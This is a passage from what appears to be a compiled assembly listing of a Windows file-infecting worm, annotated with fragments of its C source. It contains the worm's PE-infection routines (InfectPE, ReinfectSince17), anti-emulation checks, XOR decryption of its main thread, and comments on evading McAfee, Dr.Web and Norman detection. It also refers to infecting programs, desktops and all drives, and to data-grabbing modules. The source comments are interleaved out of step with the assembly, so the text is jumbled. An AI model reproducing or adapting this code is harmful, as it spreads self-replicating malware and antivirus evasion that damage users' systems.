$5000,-64(%ebp) ; 241 DWORD START_SVC; //@E .line 241 movl $1096,-60(%ebp) ; 242 ; 243 x += 23; //@S .line 243 movl -64(%ebp),%eax movl -60(%ebp),%edi addl $3,%edi mull %edi movl %eax,-68(%ebp) movl -68(%ebp),%edi movl %edi,-64(%ebp) ; 244 GetTicks1(); //@E .line 244 movl -64(%ebp),%edi movl -60(%ebp),%esi leal 8(%edi,%esi),%esi addl %esi,%edi movl %edi,-64(%ebp) ; 245 .line 245 addl $164,-60(%ebp) ; 246 kernfuck = 512; //@S .line 246 movl $23,%eax mull -60(%ebp) movl %eax,-72(%ebp) movl -72(%ebp),%edi movl %edi,-60(%ebp) _$582: ; 247 x = AntiEmulator(96) ; //@E // x==1 if NOT EMULATED ; 248 ; 249 _KERNEL32=(HANDLE)((DWORD)_KERNEL32+kernfuck+EMUL); //@S // if NOT EMULATED, EMUL==0 .line 249 popl %edi popl %esi popl %ebx leave ret _$621: .size _C_CODE_NG,_$621-_C_CODE_NG .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_c_code.c" _$M148: .type _WriteOrGetLen_C_CODE,function _WriteOrGetLen_C_CODE: pushl %ebp movl %esp,%ebp subl $448,%esp pushl %ebx pushl %esi pushl %edi .line 17 .line 21 leal _C_CODE_NG,%edi movl %edi,-8(%ebp) .line 23 movl $9,-16(%ebp) .line 38 cmpl $0,8(%ebp) je _$623 .line 41 movl $0,-4(%ebp) _$625: movl -4(%ebp),%edi movl $0,-216(%ebp,%edi,4) _$626: incl -4(%ebp) cmpl $50,-4(%ebp) jb _$625 .line 46 movl 8(%ebp),%edi movb $80,(,%edi) .line 47 movl 8(%ebp),%edi movb $81,1(%edi) .line 48 movl 8(%ebp),%edi movb $144,2(%edi) .line 49 movl 8(%ebp),%edi movb $82,3(%edi) .line 50 movl 8(%ebp),%edi movb $83,4(%edi) .line 51 movl 8(%ebp),%edi movb $84,5(%edi) .line 52 movl 8(%ebp),%edi movb $85,6(%edi) .line 53 movl 8(%ebp),%edi movb $86,7(%edi) .line 54 movl 8(%ebp),%edi movb $87,8(%edi) _$623: .line 59 movl $0,-4(%ebp) _$629: .line 62 movl -4(%ebp),%edi addl -16(%ebp),%edi movl %edi,-12(%ebp) .line 63 movl -4(%ebp),%edi movl -8(%ebp),%esi movl (%esi,%edi),%edi movl %edi,-432(%ebp) .line 69 cmpl $0,8(%ebp) je _$633 .line 73 movl $0,-444(%ebp) .line 76 movl $240,-436(%ebp) _$635: .line 78 movl -436(%ebp),%edi movl %edi,%esi shll $8,%esi movl %edi,%ebx addl %esi,%ebx movl %edi,%esi shll $16,%esi addl %esi,%ebx shll $24,%edi movl %ebx,%esi addl %edi,%esi movl %esi,-440(%ebp) .line 85 movl -432(%ebp),%edi cmpl %edi,-440(%ebp) jne _$639 movl -4(%ebp),%edi addl $4,%edi movl -8(%ebp),%esi movzbl (%esi,%edi),%ebx cmpl -436(%ebp),%ebx je _$639 movl $1,-444(%ebp) _$639: .line 86 _$636: .line 76 incl -436(%ebp) cmpl $255,-436(%ebp) jb _$635 .line 88 cmpl $1,-444(%ebp) jne _$641 .line 90 movl $254,%edi movl -4(%ebp),%esi addl $1,%esi movl -8(%ebp),%ebx movzbl (%ebx,%esi),%ebx subl %ebx,%edi movl %edi,-448(%ebp) .line 113 movl -448(%ebp),%edi cmpl $0,%edi je _$645 cmpl $13,%edi jne _$643 _$645: .line 116 movl -448(%ebp),%edi cmpl $0,-216(%ebp,%edi,4) jne _$646 call *__rand movl -448(%ebp),%esi movl %eax,%edi movl -448(%ebp),%edi movl 12(%ebp),%ebx movl (%ebx,%edi,4),%ecx xorl %edx,%edx divl %ecx movl %edx,-428(%ebp,%esi,4) movl -12(%ebp),%edi movl 8(%ebp),%esi movl -448(%ebp),%ebx movl -428(%ebp,%ebx,4),%ebx movl %ebx,(%esi,%edi) _$646: .line 117 movl -448(%ebp),%edi cmpl $1,-216(%ebp,%edi,4) jne _$648 movl -448(%ebp),%edi shll $2,%edi movl -12(%ebp),%esi movl 8(%ebp),%ebx movl 12(%ebp),%edx movl (%edx,%edi),%edx subl -428(%ebp,%edi),%edx movl %edx,(%ebx,%esi) _$648: .line 124 addl $3,-4(%ebp) .line 125 movl -448(%ebp),%edi leal -216(%ebp,%edi,4),%edi incl (,%edi) .line 126 jmp _$630 _$643: .line 135 movl -12(%ebp),%edi movl 8(%ebp),%esi movl -448(%ebp),%ebx movl 12(%ebp),%edx movl (%edx,%ebx,4),%ebx movl %ebx,(%esi,%edi) .line 136 addl $3,-4(%ebp) .line 137 jmp _$630 _$641: .line 140 movl -12(%ebp),%edi movl 8(%ebp),%esi movl -4(%ebp),%ebx movl -8(%ebp),%edx movb (%edx,%ebx),%bl movb %bl,(%esi,%edi) _$633: .line 144 movl -4(%ebp),%edi movl -8(%ebp),%esi movzbl (%esi,%edi),%ebx cmpl $201,%ebx jne _$650 movzbl 1(%edi,%esi),%ebx cmpl $195,%ebx jne _$650 incl -4(%ebp) incl -12(%ebp) jmp _$631 _$650: _$630: .line 59 incl -4(%ebp) jmp _$629 _$631: .line 151 addl $5,-4(%ebp) .line 152 movl -16(%ebp),%edi addl %edi,-4(%ebp) .line 153 cmpl $0,8(%ebp) jne _$652 movl -4(%ebp),%eax jmp _$622 _$652: .line 157 movl -12(%ebp),%edi movl 8(%ebp),%esi movb $233,(%esi,%edi) .line 159 movl 12(%ebp),%edi movl 32(%edi),%edi addl 20(%ebp),%edi addl -12(%ebp),%edi movl %edi,-220(%ebp) .line 160 movl 16(%ebp),%edi movl %edi,-224(%ebp) .line 165 movl $0xfffffffe,%edi subl -220(%ebp),%edi addl -224(%ebp),%edi subl $3,%edi movl %edi,-228(%ebp) .line 171 movl -12(%ebp),%edi addl $1,%edi movl 8(%ebp),%esi movl -228(%ebp),%ebx movl %ebx,(%esi,%edi) .line 172 addl $4,-12(%ebp) .line 174 movl -4(%ebp),%eax _$622: .line 175 popl %edi popl %esi popl %ebx leave ret _$661: .size _WriteOrGetLen_C_CODE,_$661-_WriteOrGetLen_C_CODE .globl _WriteOrGetLen_C_CODE .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_peinf.c" _$M149: .data .globl _VIRULENCE .type _VIRULENCE,object _VIRULENCE: .byte 0 .text ; a --> %esi .type _align,function _align: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %esi pushl %edi .line 39 movl 12(%ebp),%esi .line 42 movl 8(%ebp),%eax xorl %edx,%edx divl %esi or %edx,%edx jne _$663 movl 8(%ebp),%eax jmp _$662 _$663: .line 44 movl 8(%ebp),%eax xorl %edx,%edx divl %esi movl %eax,-8(%ebp) movl %eax,%edi mull %esi movl %eax,-12(%ebp) movl %eax,%edi addl %esi,%edi movl %edi,-4(%ebp) .line 50 movl %edi,%eax _$662: .line 51 popl %edi popl %esi leave ret _$667: .size _align,_$667-_align .globl _align ; b --> %edi ; w --> %esi ; q --> %ebx .type _ReinfectSince17,function _ReinfectSince17: pushl %ebp movl %esp,%ebp subl $40,%esp pushl %ebx pushl %esi pushl %edi .line 67 movl 12(%ebp),%edi .line 78 andl $0,-12(%ebp) .line 79 pushl 32(%ebp) pushl 16(%ebp) call _align addl $8,%esp movl %eax,-16(%ebp) .line 80 movl %eax,%ebx .line 81 addl $3072,%eax movl %eax,-32(%ebp) .line 82 movl 20(%ebp),%ecx cmpl %ecx,%eax jbe _$671 movl %ecx,%eax movl %eax,-32(%ebp) .line 89 _$671: .line 90 movzbl (%edi,%ebx),%eax xorl $77,%eax movb %al,-5(%ebp) .line 92 movl %ebx,%esi addl $218,%esi .line 94 jmp _$675 _$672: .line 98 movzbl (%edi,%esi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-17(%ebp) cmpb $46,-17(%ebp) jne _$673 _$676: .line 99 movzbl 1(%esi,%edi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-18(%ebp) cmpb $116,-18(%ebp) jne _$673 _$678: .line 100 movzbl 2(%esi,%edi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-19(%ebp) cmpb $101,-19(%ebp) jne _$673 _$680: .line 101 movzbl 3(%esi,%edi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-20(%ebp) cmpb $120,-20(%ebp) jne _$673 _$682: .line 105 movl %ebx,%eax subl -16(%ebp),%eax movl %eax,-12(%ebp) .line 106 movl 20(%ebp),%edx subl -16(%ebp),%edx movl %edx,-24(%ebp) .line 108 pushl 32(%ebp) movl %eax,-36(%ebp) movzbl 1(%ebx,%edi),%eax mull 28(%ebp) movl %eax,-40(%ebp) movl -36(%ebp),%eax movl -40(%ebp),%edx addl %edx,%eax movzbl 2(%ebx,%edi),%edx sall $9,%edx movl %eax,%ecx addl %edx,%ecx pushl %ecx call _align addl $8,%esp movl %eax,-28(%ebp) .line 115 cmpl %eax,-24(%ebp) je _$686 .line 119 _$673: .line 94 incl %esi _$675: movl %ebx,%eax addl $560,%eax cmpl %eax,%esi jb _$672 .line 122 incl %ebx .line 123 cmpl -32(%ebp),%ebx jb _$671 _$687: .line 125 _$686: .line 131 cmpl $0,-12(%ebp) jne _$689 xor %eax,%eax jmp _$668 _$689: .line 135 andl $0,-4(%ebp) jmp _$694 _$691: .line 136 movl -4(%ebp),%eax movl 24(%ebp),%edx addl %eax,%edx movl -16(%ebp),%ecx addl %eax,%ecx movb (%edi,%ecx),%al movb %al,(%edi,%edx) .line 135 incl -4(%ebp) _$694: movl -12(%ebp),%eax cmpl %eax,-4(%ebp) jb _$691 .line 138 _$668: .line 139 popl %edi popl %esi popl %ebx leave ret _$700: .size _ReinfectSince17,_$700-_ReinfectSince17 .globl _ReinfectSince17 ; obj_e --> %esi ; b --> %ebx .type _InfectPE,function _InfectPE: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $250836,%eax call __stackprobe pushl %ebx pushl %esi pushl %edi .line 144 .line 156 andl $0,-176(%ebp) .line 164 andl $0,-36(%ebp) .line 165 andl $0,-44(%ebp) .line 166 andl $0,-148(%ebp) .line 240 pushl _dll_len pushl _dll_mem movl _szinfcode,%eax leal -250496(%ebp,%eax),%eax pushl %eax call *__memcpy addl $12,%esp .line 244 andl $0,-250524(%ebp) _$702: .line 247 pushl $0 pushl $0 pushl $3 pushl $0 pushl $0 pushl $0xc0000001 pushl 8(%ebp) call *__CreateFile movl %eax,-168(%ebp) .line 248 cmpl $0xffffffff,%eax jne _$703 ; 250 _KERNEL32=(HANDLE)((DWORD)_KERNEL32-kernfuck*x); //@E .line 250 incl -250524(%ebp) ; 251 .line 251 cmpl $1,-250524(%ebp) jne _$705 ; 252 //---ANTIEMUL end .line 252 pushl 8(%ebp) call _UnprotectFile popl %ecx jmp _$702 _$705: ; 253 .line 253 xor %eax,%eax jmp _$701 _$703: ; 254 InitKernel32a(); //GetModuleHandle,LoadLibrary ; 255 ; 256 InitKernel32(); //@S .line 256 pushl $0 pushl -168(%ebp) call *__GetFileSize movl %eax,-144(%ebp) ; 257 InitCRTDLL(); .line 257 movl %eax,-250568(%ebp) ; 258 InitUser32(); ; 259 InitADVAPI32(); .line 259 movl _dll_len,%edx leal 0x2ffff(%eax,%edx),%eax pushl %eax pushl $0 call *__LocalAlloc movl %eax,%ebx ; 260 InitSFC(); .line 260 or %ebx,%ebx je _$709 _$707: ; 261 InitShell32(); .line 261 pushl $0 leal -4(%ebp),%eax pushl %eax pushl -144(%ebp) pushl %ebx pushl -168(%ebp) call *__ReadFile ; 262 InitCrypt32(); ; 263 InitUrlmon(); ; 264 InitWininet(); ; 265 InitSFC_OS(); //@E ; 266 ; 267 .line 267 cmpl $1024,-4(%ebp) jb _$709 _$710: ; 268 #ifdef dbgdbg ; 269 adddeb("===MainThread==="); ; 270 adddeb("AntiEmulator x:%u",x); ; 271 #endif ; 272 ; 273 ; 274 ticks = _GetTickCount(); //@S ; 275 hI=_GetModuleHandle(NULL); //IMPORTANT!!! global hI will be used in dll decrypt ; 276 service = CheckService(); //@E ; 277 ; 278 #ifdef dbgdbg ; 279 adddeb("CheckService: %u (0==FALSE)",service); .line 279 cmpl $0,_dll_len je _$709 ; 280 #endif ; 281 ; 282 //===== we are SERVICE, routine ServiceMode never returns ; 283 ; 284 // *** service should not create mutex with the same name as .line 284 _$712: ; 285 // *** infected usermode processes or they will never work ; 286 // *** service creates it's own 2 mutexes - with version and without it ; 287 ; 288 #ifdef SVCDBG ; 289 service = 1; // SERVICEMODE DEBUG ; 290 #endif ; 291 //if (/*@S!=*/service != 0/*@E*/) ServiceMode(ticks); // func never returns! .line 291 movl 60(%ebx),%eax movl %eax,-136(%ebp) ; 292 ServiceMode(ticks); ; 293 ; 294 //===== USERMODE ONLY CODE: we are not service ; 295 ; 296 #ifdef dbgdbg ; 297 adddeb("===== !!! USER MODE !!! ====="); .line 297 movl -4(%ebp),%eax subl $248,%eax cmpl %eax,-136(%ebp) ja _$709 _$715: ; 298 #endif ; 299 .line 299 movl -136(%ebp),%eax addl %ebx,%eax movl %eax,-16(%ebp) ; 300 #ifdef dbgdbg ; 301 adddeb("CheckVersion... waiting for NO_OTHER"); ; 302 #endif ; 303 ; 304 loop:; ; 305 resver = CheckVersion(); .line 305 movzwl (,%eax),%eax cmpl $17744,%eax jne _$709 _$717: ; 306 .line 306 movl -16(%ebp),%eax cmpw $1,92(%eax) je _$709 _$719: ; 307 if (/*@S==*/resver == HI_DETECTED/*@E*/) .line 307 movl -16(%ebp),%eax cmpw $267,24(%eax) jne _$709 _$721: ; 308 { ; 309 #ifdef dbgdbg .line 309 movl -16(%ebp),%eax movl 60(%eax),%ecx movl %ecx,-496(%ebp) ; 310 adddeb("HIGHER VERSION DETECTED, ExitThread(1)"); .line 310 movl 56(%eax),%edx movl %edx,-456(%ebp) ; 311 #endif ; 312 _ExitThread(1); ; 313 } ; 314 ; 315 if (/*@S==*/resver == EQU_DETECTED/*@E*/) ; 316 { ; 317 #ifdef dbgdbg .line 317 cmpw $13,68(%eax) jne _$723 movl $8,%dl movb $8,26(%eax) cmpb $0,%dl je _$723 ; 318 adddeb("EQU_DETECTED, goto loop"); ; 319 __sleep(1000); .line 319 movzwl 70(%eax),%eax movl %eax,-250516(%ebp) ; 320 #else ; 321 __sleep(100); ; 322 #endif ; 323 ; 324 goto loop; ; 325 } ; 326 ; 327 #ifdef dbgdbg ; 328 adddeb("NO_OTHER!!!"); ; 329 #endif ; 330 ; 331 //--- Create mutexes and wait for release of version mutex ; 332 ; 333 _sprintf(mtx, "%s_mtx1", CLASSNAME); //@S // bugfix mutex1 (ver1 cant check high mutexes) ; 334 _sprintf(mtxv, "%s_mtx%u", CLASSNAME, VERSION); //@E // version mutex ; 335 ; 336 CreateOrOpenMutexes_WaitForMtx2Release(mtx, mtxv); // returns only if mtxv released or .line 336 cmpl $23,%eax jae _$709 ; 337 // created by our thread ; 338 ; 339 //--- Create Window ; 340 ; 341 //@S .line 341 _$725: ; 342 wtc.lpszClassName = (LPSTR)CLASSNAME; ; 343 wtc.hInstance = hI; ; 344 wtc.lpfnWndProc = WndProc; ; 345 wtc.hCursor = NULL; ; 346 wtc.hIcon = NULL; ; 347 wtc.lpszMenuName = NULL; ; 348 wtc.hbrBackground = (HBRUSH)COLOR_WINDOW; ; 349 wtc.style = CS_HREDRAW | CS_VREDRAW; ; 350 wtc.cbClsExtra = 0; .line 350 movl $1,-176(%ebp) _$723: ; 351 wtc.cbWndExtra = 0; ; 352 //@E ; 353 .line 353 cmpl $0,-176(%ebp) je _$728 ; 354 //@S ; 355 _RegisterClass(&wtc); ; 356 ; 357 #ifdef dbgdbg ; 358 flags = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX | WS_VISIBLE; ; 359 q = 10; .line 359 cmpl $6,-250516(%ebp) jae _$730 movl -16(%ebp),%eax addl $6,%eax subw $4,(,%eax) jmp _$728 _$730: ; 360 w = 300; .line 360 cmpl $13,-250516(%ebp) jae _$732 movl -16(%ebp),%eax addl $6,%eax subw $3,(,%eax) jmp _$728 _$732: ; 361 #else .line 361 cmpl $16,-250516(%ebp) jae _$734 movl -16(%ebp),%eax addl $6,%eax subw $2,(,%eax) jmp _$728 _$734: ; 362 flags = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX; .line 362 cmpl $17,-250516(%ebp) jae _$736 movl -16(%ebp),%eax addl $6,%eax decw (,%eax) jmp _$728 _$736: ; 363 q = 0; .line 363 movl -16(%ebp),%eax addl $6,%eax decw (,%eax) ; 364 w = 0; ; 365 #endif ; 366 //@E ; 367 ; 368 //--- Check Service Mutex .line 368 _$728: ; 369 ; 370 if ((sm = _OpenMutex(SYNCHRONIZE, FALSE, SERVICE_MTX))) ; 371 { ; 372 START_SVC = 0; //@S // service mutex detected - no services to start ; 373 _CloseHandle(sm); //@E ; 374 } ; 375 else START_SVC=5; // no mutex - 5 services to start ; 376 .line 376 movl -16(%ebp),%eax movl 128(%eax),%ecx movl %ecx,-24(%ebp) ; 377 #ifdef dbgdbg .line 377 movl 40(%eax),%eax movl %eax,-28(%ebp) ; 378 adddeb("***** SERVICE MUTEX %s CHECK ***** START_SVC:%u (0==mutex detected)",SERVICE_MTX,START_SVC); ; 379 #endif .line 379 andl $0,-164(%ebp) ; 380 ; 381 //--- ; 382 ; 383 //@S ; 384 hw = _CreateWindowEx(0, CLASSNAME, CLASSNAME, flags, q, q, w, w, NULL, NULL, hI, NULL); ; 385 sdelay = 0; .line 385 movl %ecx,%eax movl -28(%ebp),%edx cmpl %edx,%eax jbe _$738 addl _szinfcode,%edx cmpl %edx,%eax jb _$709 ; 386 ; 387 //--- EditOwnToken (enable OWNER priv) ; 388 EditOwnToken_or_CheckFiltered(FALSE); // this func has internal NT check, FALSE==Edit, TRUE==Check ; 389 //@E ; 390 .line 390 _$738: ; 391 InitInfectData(ticks, START_SVC); // Init infcode, decrypt dll, srand ; 392 // & infect inactive services, start START_SVC service ; 393 ; 394 ; 395 softfind(); // Infect Programs & Desktop .line 395 movl -24(%ebp),%eax movl -28(%ebp),%edx cmpl %edx,%eax jae _$740 movl -16(%ebp),%ecx addl 132(%ecx),%eax cmpl %edx,%eax ja _$709 ; 396 ; 397 // InitData(); // Init Grab Data ; 398 // StartGrab(); // Start Grabbers: comev, FFspy, Plugins, Certs + IE zones, ... ; 399 CloseCreateThreadEco(InfectAllDrives); // Create Drives Infecting thread ; 400 .line 400 _$740: ; 401 //--- ; 402 ; 403 while(_GetMessage(&m, NULL, 0, 0)) ; 404 { ; 405 _TranslateMessage(&m); .line 405 movl -136(%ebp),%eax addl $248,%eax movl -16(%ebp),%edx addl 212(%edx),%eax movl %eax,-184(%ebp) ; 406 _DispatchMessage(&m); .line 406 movzwl 6(%edx),%eax imul $40,%eax,%eax addl %eax,-184(%ebp) ; 407 } .line 407 addl $40,-184(%ebp) ; 408 ; 409 #ifdef EXEFILE ; 410 // we need this for exe debug (real import from kernel32.dll) ; 411 GetModuleHandle("kernel32.dll"); //Vista bugfix, instead of ExitThread ; 412 #endif ; 413 } ; 414 ; 415 #ifdef _MSC_VER ; 416 #pragma optimize("", off) ; 417 #else ; 418 #pragma optimize(off) ; 419 #endif .line 419 movl -16(%ebp),%eax movl 84(%eax),%eax cmpl %eax,-184(%ebp) ja _$709 ; 420 ; 421 /////////////////////////////////////////////////////////////// ; 422 // Create Main Thread - it's in func for better mutaion /////// ; 423 ; 424 void StartMainThread() ; 425 { .line 425 _$742: ; 426 //--- Start MainThread ; 427 ; 428 DWORD lpv; //@S ; 429 DWORD tid; ; 430 DWORD CS_THREADS = TRUE; //@E // enable CriticalSections in GetStrFromCrypt/LGetStrFromCrypt .line 430 _$744: ; 431 _CreateThread(NULL, 0, MainThread, &lpv, 0, &tid); ; 432 } .line 432 andl $0,-36(%ebp) ; 433 .line 433 andl $0,-44(%ebp) ; 434 /////////////////////////////////////////////////////////////// .line 434 andl $0,-148(%ebp) ; 435 // Entry point //////////////////////////////////////////////// ; 436 ; 437 // push ebp ; 438 // mov ebp, esp .line 438 andl $0,-4(%ebp) jmp _$748 _$745: ; 439 ; 440 #ifndef EXEFILE ; 441 ; 442 __declspec(dllexport) BOOL WINAPI LibMain() ; 443 .line 443 movl $40,%eax mull -4(%ebp) movl %eax,-250580(%ebp) movl -136(%ebp),%eax leal 248(%eax,%ebx),%eax movl -250580(%ebp),%edx movl %edx,%esi addl %eax,%esi ; 444 #else /* EXEFILE */ ; 445 .line 445 movl 12(%esi),%eax addl 8(%esi),%eax movl %eax,-250572(%ebp) ; 446 #ifdef _MSC_VER .line 446 movl 20(%esi),%eax addl 16(%esi),%eax movl %eax,-250576(%ebp) ; 447 #pragma optimize("", off) .line 447 movl -36(%ebp),%eax cmpl %eax,-250572(%ebp) jbe _$749 movl -250572(%ebp),%eax movl %eax,-36(%ebp) _$749: ; 448 #else .line 448 movl -44(%ebp),%eax cmpl %eax,-250576(%ebp) jbe _$751 movl -250576(%ebp),%eax movl %eax,-44(%ebp) _$751: ; 449 #pragma optimize(off) ; 450 #endif ; 451 ; 452 int main() ; 453 ; 454 #endif /* EXEFILE */ .line 454 movl -16(%ebp),%eax movl 168(%eax),%eax cmpl 12(%esi),%eax jb _$753 cmpl -250572(%ebp),%eax jae _$753 ; 455 ; 456 { .line 456 movl 20(%esi),%eax movl -16(%ebp),%edx addl 168(%edx),%eax subl 12(%esi),%eax movl %eax,-148(%ebp) _$753: ; 457 //@S ; 458 PE_HEADER *pe; ; 459 DWORD q, eiRVA, last_sect; ; 460 LPBYTE peadr; ; 461 ; 462 DWORD a0=(DWORD)MainThread; // any address inside our code .line 462 movl -24(%ebp),%eax movl 12(%esi),%edx cmpl %edx,%eax jb _$755 addl 8(%esi),%edx cmpl %edx,%eax jae _$755 ; 463 DWORD a =(DWORD)MainThread>>16; // align it by 64kb part1 ; 464 //@E .line 464 subl 12(%esi),%eax addl 20(%esi),%eax movl %eax,-40(%ebp) _$755: ; 465 a=a<<16; // align it by 64kb part2, splitted in 2 parts due to lcc compiler bug ; 466 // DWORD k=(k0>>(5+LNMB1+LNMB0))<<(5+LNMB1+LNMB0); ; 467 ; 468 // --- Find Our PE header ; 469 ; 470 // step can be only 2^x, where x from 0 to 16 (1-0x10000) .line 470 movl -28(%ebp),%eax movl 12(%esi),%edx cmpl %edx,%eax jb _$757 addl 8(%esi),%edx cmpl %edx,%eax jae _$757 ; 471 // to kill McAfee heuristic we use this ; 472 ; 473 a = FindPEheader(a, a0, 4, &pe); // _NG == NO GLOBALS inside func ; 474 ; 475 // --- Get import table RVA .line 475 subl 12(%esi),%eax addl 20(%esi),%eax movl %eax,-164(%ebp) ; 476 ; 477 eiRVA = pe->importrva; //exe import RVA ; 478 ; 479 // --- import table (get addr of first imported from kernel32 func) .line 479 movl -28(%ebp),%eax subl 12(%esi),%eax movl %eax,-250584(%ebp) ; 480 .line 480 movl 16(%esi),%eax subl -250584(%ebp),%eax movl %eax,-250588(%ebp) ; 481 for (q = 0; q < pe->importsize; q += SZIDTE) // sizeof(IMPORT_DIRECTORY_TABLE_ENTRY) ; 482 { ; 483 IMPORT_DIRECTORY_TABLE_ENTRY *idte=(LPVOID)(/*@S+*/a+eiRVA+q/*@E*/); ; 484 ; 485 if (/*@S==*/idte->ImportLookUp==0/*@E*/) break; //@S ; 486 if (/*@S!=*/_KERNEL32 != NULL/*@E*/) break; //@E ; 487 .line 487 cmpl %eax,_szinfcode ja _$709 _$759: ; 488 ProcessDLLimports(a, idte); .line 488 _$757: ; 489 } .line 489 .line 438 incl -4(%ebp) _$748: movl -16(%ebp),%eax movzwl 6(%eax),%eax cmpl %eax,-4(%ebp) jb _$745 ; 490 ; 491 if (/*@S==*/_KERNEL32 == NULL/*@E*/) return; ; 492 ; 493 // --- decrypt main thread .line 493 andl $0,-484(%ebp) ; 494 ; 495 #ifdef RUNLINE .line 495 cmpl $0,-148(%ebp) je _$761 ; 496 ; 497 #ifdef EXEFILE ; 498 adddeb("Decrypt MainThread addr:%X size:%X",MainThread,MainThread_size); .line 498 andl $0,-250576(%ebp) ; 499 #endif ; 500 .line 500 andl $0,-4(%ebp) jmp _$766 _$763: ; 501 { ; 502 unsigned char *bb=MainThread; //@S .line 502 movl -148(%ebp),%edx movl %edx,-250584(%ebp) movl $28,%eax movl %eax,-250580(%ebp) mull -4(%ebp) movl %eax,-250588(%ebp) movl -250584(%ebp),%eax movl -250588(%ebp),%edx addl %edx,%eax addl %ebx,%eax movl %eax,-250572(%ebp) ; 503 DWORD i=0; //@E ; 504 for (q = 0; q < MainThread_size; q++) ; 505 { bb[q]=bb[q]^MainThread_key[i]; i++; if (i==4) i=0; } ; 506 ; 507 #ifdef EXEFILE ; 508 adddeb("Decrypted OK"); .line 508 movl -250576(%ebp),%edx cmpl %edx,24(%eax) jbe _$767 movl 24(%eax),%eax movl %eax,-250576(%ebp) _$767: ; 509 #endif .line 509 movl -250572(%ebp),%eax movl -44(%ebp),%edx cmpl %edx,24(%eax) jb _$769 movl 16(%eax),%eax addl %eax,-484(%ebp) _$769: ; 510 } .line 510 .line 500 incl -4(%ebp) _$766: movl -16(%ebp),%edi movl 172(%edi),%eax movl $28,%ecx shrl $2,%eax movl $0x24924925,%edx mull %edx movl %edx,-250580(%ebp) movl %edx,%edi cmpl %edi,-4(%ebp) jb _$763 ; 511 ; 512 #endif /* RUNLINE */ ; 513 ; 514 .line 514 pushl -496(%ebp) pushl -250576(%ebp) call _align addl $8,%esp movl %eax,-250576(%ebp) ; 515 //--- ; 516 //@S ; 517 StartMainThread(); ; 518 ; 519 //--- Get C_CODE len, data section vadr, EP vadr ; 520 ; 521 szinfcode=WriteOrGetLen_C_CODE(NULL, NULL, 0, 0); ; 522 ; 523 //--- Get Last Section .line 523 cmpl $0,-176(%ebp) jne _$761 movl -144(%ebp),%eax cmpl %eax,-44(%ebp) je _$761 ; 524 ; 525 last_sect = pe->numofobjects - 1; .line 525 subl -44(%ebp),%eax movl %eax,-250584(%ebp) ; 526 peadr = pe; // we use LPBYTE, becouse C math use size of structure in such operations ; 527 //@E ; 528 ; 529 //--- ; 530 ; 531 #ifdef EXEFILE .line 531 movl -44(%ebp),%eax cmpl %eax,-250576(%ebp) je _$761 ; 532 loop:; sleep(0); goto loop; ; 533 #endif ; 534 ; 535 //--- restore original victim exe code after entrypoint ; 536 .line 536 _$773: ; 537 #ifndef EXEFILE ; 538 { ; 539 DWORD q=0; .line 539 movl -16(%ebp),%eax movl 152(%eax),%edx cmpl %edx,-44(%ebp) jne _$709 movl 156(%eax),%eax cmpl %eax,-250584(%ebp) jne _$709 ; 540 DWORD old_prot; ; 541 BYTE b; ; 542 unsigned char *ep_code; ; 543 PE_OBJENTRY *lastsect = /*@S+*/peadr+SZPE+SZOBJE*last_sect/*@E*/; // get the last section ; 544 .line 544 movl -44(%ebp),%eax movl %eax,-144(%ebp) ; 545 // some applications (vista infocard.exe) changes pe->entrypointrva after start. (NET framework) .line 545 movl -16(%ebp),%eax andl $0,152(%eax) ; 546 // old: unsigned char *ep_code = (LPSTR)(pe->imagebase + pe->entrypointrva); .line 546 andl $0,156(%eax) ; 547 .line 547 ; 548 //@S ; 549 upx_sect = (LPSTR)(/*@S+*/pe->imagebase + lastsect->virtrva/*@E*/); // UPX0 ; 550 my_strcpy(SECTNAME,lastsect->name); // save section name - we'll use it for infecting files ; 551 //@E .line 551 ; 552 ; 553 //@S .line 553 _$761: ; 554 SECTNAME[8]=0; // not more than 8 chars len ; 555 ep_code = (LPSTR)(/*@S+*/pe->imagebase + GetVictimEP()/*@E*/); ; 556 ; 557 upx_sect=(LPSTR)fool_drweb((DWORD)upx_sect); // dr.web anti-heur (takes about 0.12 sec) .line 557 cmpl $0,-176(%ebp) je _$778 movl -44(%ebp),%eax addl -484(%ebp),%eax movl %eax,-144(%ebp) _$778: ; 558 ; 559 //@E ; 560 _VirtualProtect(ep_code, szinfcode, PAGE_EXECUTE_READWRITE, &old_prot); ; 561 ; 562 next:; ; 563 { ; 564 DWORD antinorm2_trash, antinorm1_trash=555; //@S ; 565 b = upx_sect[q]; //@E //anti Norman, old: ep_code[q]=upx_sect[q]; ; 566 ep_code[q]=b; //@S // ; 567 antinorm2_trash=666; //@E .line 567 pushl -456(%ebp) pushl -36(%ebp) call _align addl $8,%esp movl %eax,-36(%ebp) ; 568 q++; ; 569 } ; 570 if (q < szinfcode) goto next; ; 571 } ; 572 ; 573 //--- asm block: peredelka vlechet izmenenie _peinf.c v bloke: --- set 'jmp EP' at the end of LibMain ; 574 ; 575 #ifdef _MSC_VER ; 576 _asm ; 577 { ; 578 _emit 0xC9 .line 578 movl -44(%ebp),%eax cmpl %eax,-144(%ebp) je _$780 movl -16(%ebp),%eax cmpl $0,168(%eax) je _$709 ; 579 _emit 0x61 ; 580 _emit 0xE9; _emit 0x00; _emit 0x00; _emit 0x00; _emit 0x00 ; 581 } ; 582 #else ; 583 _asm .line 583 _$780: ; 584 ( ; 585 ".byte 0xC9 \n" // leave ; 586 ".byte 0x61 \n" // popad ; 587 ".byte 0xE9,0x00,0x00,0x00,0x00 \n" // jmp orig_EP ; 588 ".byte 0xC3 \n" // retn - NOT USED, JUST SIGNATURE FOR SEARCH .line 588 cmpl $0,-176(%ebp) je _$782 cmpl $17,-250516(%ebp) jae _$782 cmpl $0,-164(%ebp) jne _$782 ; 589 ); ; 590 #endif ; 591 ; 592 #endif /* EXEFILE */ ; 593 } ; 594 ; 595 #ifdef _MSC_VER ; 596 #pragma optimize("", off) ; 597 #else ; 598 #pragma optimize(off) .line 598 pushl -496(%ebp) pushl -144(%ebp) call _align addl $8,%esp movl %eax,-460(%ebp) ; 599 #endif .line 600 movl $7,-12(%ebp) _$784: movl -460(%ebp),%eax addl 